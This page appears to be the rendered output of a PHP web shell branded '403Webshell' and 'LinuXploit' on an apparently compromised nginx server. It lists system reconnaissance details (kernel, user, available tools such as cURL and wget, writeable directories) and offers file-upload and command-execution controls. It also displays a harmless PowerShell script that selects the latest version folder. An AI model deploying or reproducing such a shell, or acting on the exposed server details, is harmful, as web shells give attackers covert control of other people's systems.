403Webshell
Server IP : _  /  Your IP : 169.254.129.1
Web Server : nginx/1.28.0
System : Linux 89e302d72aa1 6.6.143.1-1.azl3 #1 SMP PREEMPT_DYNAMIC Mon Jul 6 04:01:14 UTC 2026 x86_64
User : nginx ( 103)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /appservice/kuduagent/Scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /appservice/kuduagent/Scripts/selectLatestVersion.ps1
<#
this script takes in two param, target folder path and output file path
what it does is, it assume immediate sub folder of targer folder are all name with version
and this script is trying to get the folder name has the largest version
#>

PARAM(
	[parameter(Position=0, Mandatory=$true)]
	[string]$folderPath, 
	[parameter(Position=1, Mandatory=$true)]
	[string]$outputPath
)

$latestVersion =
	Get-ChildItem "$folderPath" |
	Where-Object {$_.Name -as [Version]} |
	Sort-Object -Property @{e={[Version] $_.name};Ascending=$false} |
	Select-Object -First 1 |
	Select Name -ExpandProperty Name

[System.IO.File]::WriteAllText("$outputPath", $latestVersion)

EXIT 0

Youez - 2016 - github.com/yon3zu
LinuXploit